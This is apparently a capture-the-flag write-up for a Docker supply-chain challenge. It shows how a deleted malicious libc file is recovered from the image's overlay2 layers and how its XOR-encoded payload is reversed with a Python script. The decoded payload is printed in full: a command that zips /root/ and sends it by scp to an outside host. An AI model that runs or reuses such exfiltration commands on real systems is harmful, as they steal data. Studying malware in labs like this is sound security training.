# [Hard] Protect the Supply (250 points)
> After the day that the A.I went rouge everything has changed in our society even simple and micro services have changed. Our Hacky University and our Hacky Factory has changed and something looks out of place...> > Can you see why we no longer feel at home in our own container?> > Run docker run -ti hackazon/micro_ghost /bin/sh to get started> > Update: 2022-07-07 15:30 CEST, bug fix - container now accesible for players
[Video Writeup](https://youtu.be/gYgFK-NbtH4): https://youtu.be/gYgFK-NbtH4
### Protect the Supply
> Can you identify why ever since the attack our container felt off?
Let's run the docker container that has been provided.
![container.png](../../images/protect-the-supply-container.png)
If you analyse the files and folders in the container, you will notice that it is a standard linux image. All files are normal except the ones in `/opt` directory. It contains two extra files: `ld-linux-x86_64.so.2` and `libc.so.evil.6`. This already gives us a hint at what to look for. libc files are usually named `libc.so.6` but since it's named `libc.so.evil.6` here, there must definitely be something fishy going on. You can mount a local directory as a volume using `-v $PWD:/ctf` when running the docker container and copy the files from `/opt` to work with them locally.
I analysed the binary thoroughly using disassemblers like IDA and Ghidra but found nothing out of the ordinary. I also found that the two binaries had nothing different in them in comparison with the correct version of `libc.so.6` and `ld-linux-x86_64.so.2`. They were perfect matches with nothing tampered! So, why was the file named evil and what was I missing?
Let's take a look at the steps to build the docker container using `docker history hackazon/micro_ghost --no-trunc`.
![history.png](../../images/protect-the-supply-history.png)
(We need to read the log from bottom to top to make sense of it)
This is what happens briefly:
- `file:11157b07dde10107f3f6f2b892c869ea83868475d5825167b5f466a7e410eb05` is copied into container root directory. This is just docker setting up the linux container filesystem- `file:1d19734b949df42e538d10ea3e6c9eb33e3f2064be2540a446c095ee007af323` is copied into `/lib/x86_64-linux-gnu/libc.so.evil.6` (this is the actual file we're looking for but as we shall see in the next steps, it gets deleted deliberately)- `file:5f853a35eb22d7cd0b3789fdf55937ebf492d63386894ed02ab7d6fa7717ff30` is copied into `/opt/libc.so.6` (this is an actual libc file and is not tampered with)- `file:46b15dd2b1c1b2421f8f66c0e0b1adbb2be1fa29bdfb24df21ab41a4393cc4ca` is copied into `/opt/ld-linux-x86-64.so.2` (this file is not tampered with either)- file permissions is set to executable for `/lib/x86_64-linux-gnu/libc.so.evil.6`- file `/opt/libc.so.6` is renamed to `/opt/libc.so.evil.6` (this is present to misguide us)- `/lib/x86_64-linux-gnu/libc.so.evil.6` is executed. This is the malicious file we need take a look at- `/lib/x86_64-linux-gnu/libc.so.evil.6` is deleted
At this point, we know by looking at the container build history that we must try and find the file `/lib/x86_64-linux-gnu/libc.so.evil.6`. However, since it is deleted from the container, we have no way of recovering it... or do we? ?
At some point during the CTF while solving this challenge, I came across [this](https://github.com/wagoodman/dive) tool. This tool is quite insane and allows us to take a look at the files in the container filesystem at any step during its build. Let's explore our container using a tool and see if we can find the same results as we did with `docker history` above.
Follow the installation procedure in the repository and then run `sudo dive hackazon/micro_ghost`. This is how the interface would look like:
![dive-interface.png](../../images/protect-the-supply-dive-interface.png)
We can now explore what the container filesystem looked like at each step in its build. It can be seen that the file `/lib/x86_64-linux-gnu/libc.so.evil.6` was definitely added, executed and later removed. So, how do we recover this file if it was deleted? It should definitely not be possible for us to be able to access the file when it was deleted using `rm`, right? Well, lucky for us, we can in this particular case. Let's see how docker containers work.
![dive-evillib.png](../../images/protect-the-supply-dive-evillib.png)
As we're delving into docker intrinsics and how it manages its files for containers, I'm not going to try and explain all of it. A lot of good work has been done by other people in exploring these details. I learnt a lot about these details by reading many articles on `how are docker images stored in overlay2 filesystem`. [This](https://www.freecodecamp.org/news/where-are-docker-images-stored-docker-container-paths-explained/) and many others do a great job at teaching about the same.
Now that we understand how the docker filesystem works, we know that the real `libc.so.evil.6` file that we're looking for is present somewhere within the directories where it stores images and container data on our host system. As mentioned in the articles, let's inspect our container and pinpoint the exact directory where the file we're looking for is present.
```bash┌──(arrow) ? [~/Desktop/ctf/hackazon-deloitte-2022/protect-the-supply] └─$ sudo docker inspect hackazon/micro_ghost
...        "GraphDriver": {            "Data": {                "LowerDir": "/var/lib/docker/overlay2/156888775e1a1cc4543ae18319e967556dc3c5d466303465a83e0d373346d13c/diff:/var/lib/docker/overlay2/b2f3c8e267cebbf568a66897ae50c71848c927486fdb9f20d0c28deeb9b97553/diff:/var/lib/docker/overlay2/fd0ca568d53f331fd92f21be9342a2ce680b111c2c2c6e21eb0d03dae74d846a/diff:/var/lib/docker/overlay2/e4fdc2830b1f10e95fc13769982c728fb02bcec034fedcb623dec657a27439f1/diff:/var/lib/docker/overlay2/f34c8467971f3f8f9a09e851952993f9e38a6d63b795aa61d8c1b2bd07c7a75d/diff:/var/lib/docker/overlay2/0243afd2682f997b906ced58c278efd6c8232d5ad1fac140318695e5a929e262/diff:/var/lib/docker/overlay2/92a83e22ecc4eb78985cc1d3fe2cf8cb9524bef3c77387df2aebca17c8c2d632/diff",                "MergedDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/merged",                "UpperDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/diff",                "WorkDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/work"            },            "Name": "overlay2"        },...```
What we need to look at is the "LowerDir" part. As mentioned above and like we did when reading the output of `docker history`, we need to look at the directories from bottom to top. As a test, we can see that the first command executed when building the container was to copy and init the linux filesystem in the root directory. Therefore, `/var/lib/docker/overlay2/92a83e22ecc4eb78985cc1d3fe2cf8cb9524bef3c77387df2aebca17c8c2d632/diff` should contain all the files and folders that are used for the same. Let's confirm it!
![container-root.png](../../images/protect-the-supply-container-root.png)
By listing the files and folders in that directory, I could see the basic linux filesystem files. This confirms what I mention above. Now, we need to find the directory where the actual evil libc file is stored. Since it was the second command executed when building the container, it most likely will be found in the second directory from the bottom `/var/lib/docker/overlay2/0243afd2682f997b906ced58c278efd6c8232d5ad1fac140318695e5a929e262/diff`.
![container-evillib.png](../../images/protect-the-supply-container-evillib.png)
Found it! Yes, that's the file we've been looking for. We can now analyse it with IDA/Ghidra and start the reversing part of this challenge.
There isn't much to the reversing part. A lot of data is stored into a byte/char array and passed into another function to perform an xor operation with a cyclic pattern. We can collect the data from the disassembly, xor it ourselves and retrieve what's being passed as a param to the system function call.
![ida-1.png](../../images/protect-the-supply-ida-1.png)
![ida-2.png](../../images/protect-the-supply-ida-2.png)
The resulting output gives us the flag once we do the simple reversing.
```echo "Nope";v1="CTF{C0n7r0Ll1NG_";zip -r exf.zip /root/;scp exf.zip [email protected]:/yeet_data/;v2="5h3_5uppLy_";rm exf.zip;v3="Ch41n_15_7h3_K#Y!!!!}";echo "GG";Really Not A MalwareTotally Not A Malware```
**Flag:** `CTF{C0n7r0Ll1NG_5h3_5uppLy_Ch41n_15_7h3_K#Y!!!!}`
Script:
```pys = """0x0 = 40x1 = 20x2 = 90x3 = 0xe0x4 = 0x420x5 = 0x430x6 = 0x2f0x7 = 0xe0x8 = 0x130x9 = 40xa = 0x430xb = 0x5a0xc = 0x120xd = 0x500xe = 0x5c0xf = 0x430x10 = 0x260x11 = 0x350x12 = 0x270x13 = 0x1a0x14 = 0x250x15 = 0x510x16 = 0xf0x17 = 0x560x18 = 0x150x19 = 0x510x1a = 0x2d0x1b = 0xd0x1c = 0x590x1d = 0x2f0x1e = 0x260x1f = 0x3e0x20 = 0x4b0x21 = 0x5a0x22 = 0x1b0x23 = 80x24 = 0x1a0x25 = 0x410x26 = 0x4c0x27 = 0x130x28 = 0x4b0x29 = 40x2a = 0x190x2b = 70x2c = 0x420x2d = 0x1b0x2e = 80x2f = 0x110x30 = 0x4d0x31 = 0x4e0x32 = 0x130x33 = 0xe0x34 = 10x35 = 0x150x36 = 0x4e0x37 = 0x5a0x38 = 0x1c0x39 = 20x3a = 0x110x3b = 0x410x3c = 0x150x3d = 0x190x3e = 70x3f = 0x4f0x40 = 0xb0x41 = 80x42 = 0x110x43 = 0x410x44 = 00x45 = 0xe0x46 = 0xe0x47 = 0x150x48 = 0x330x49 = 20x4a = 0x530x4b = 0x4f0x4c = 0x190x4d = 00x4e = 0xd0x4f = 50x50 = 0x1a0x51 = 0xc0x52 = 00x53 = 80x54 = 0x180x55 = 0x4f0x56 = 50x57 = 40x58 = 0x1b0x59 = 0x5b0x5a = 0x4e0x5b = 0x180x5c = 0x1d0x5d = 40x5e = 0x150x5f = 0x3e0x60 = 0x1d0x61 = 00x62 = 0x150x63 = 00x64 = 0x550x65 = 0x5a0x66 = 0x170x67 = 0x500x68 = 0x5f0x69 = 0x430x6a = 0x540x6b = 0xa0x6c = 0x500x6d = 0x3e0x6e = 0x540x6f = 0x170x70 = 0x140x71 = 0x110x72 = 0x2d0x73 = 0x1b0x74 = 0x3a0x75 = 0x430x76 = 0x5a0x77 = 0x100x78 = 0xb0x79 = 0x410x7a = 40x7b = 0x1a0x7c = 10x7d = 0x4f0x7e = 0x1b0x7f = 0xb0x80 = 0x180x81 = 0x5a0x82 = 0x170x83 = 0x510x84 = 0x540x85 = 0x430x86 = 0x220x87 = 0xa0x88 = 0x5e0x89 = 0x500x8a = 0xf0x8b = 0x3d0x8c = 0x5a0x8d = 0x540x8e = 0x3e0x8f = 0x550x90 = 40x91 = 0x520x92 = 0x3e0x93 = 0x290x94 = 0x4e0x95 = 0x380x96 = 0x400x97 = 0x430x98 = 0x4f0x99 = 0x400x9a = 0x1c0x9b = 0x400x9c = 0x540x9d = 40x9e = 20x9f = 0xa0xa0 = 0x1f0xa1 = 0x410xa2 = 0x430xa3 = 0x250xa4 = 0x360xa5 = 0x430xa6 = 0x5a0xa7 = 0""".strip().splitlines()
l = [0] * 257
for line in s:  line = line.split()  index = int(line[0], 16)  value = int(line[-1], 16)  l[index] = value
x = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaa'
# print(len(x))# print(0xa7)
for i in range(0xa7):  print(chr(l[i] ^ x[i]), end = '')
s = """0x28 = 0x540x48 = 0x520x46 = 0x610x25 = 0x610x45 = 0x6c0x24 = 0x6c0x1d = 0x200x3d = 0x410x1c = 0x410x3c = 0x200x44 = 0x6c0x41 = 0x4e0x20 = 0x4e0x40 = 0x6f0x1f = 0x6f0x3f = 0x740x1e = 0x740x3e = 0x200x27 = 0x6f0x47 = 0x650x26 = 0x740x23 = 0x6c0x43 = 0x790x22 = 0x790x42 = 0x200x21 = 0x200x1b = 0x200x3b = 0x4d0x1a = 0x4d0x3a = 0x610x19 = 0x610x39 = 0x6c0x18 = 0x6c0x38 = 0x770x17 = 0x770x37 = 0x610x16 = 0x610x36 = 0x720x15 = 0x720x35 = 0x650x14 = 0x650x34 = 0x00x13 = 0x0""".strip().splitlines()
l = [0] * 1000
for line in s:  line = line.split()  index = int(line[0], 16)  value = int(line[-1], 16)  l[index] = value
print()
for i in l[::-1]:  if i == 0:    continue  print(chr(i), end = '')```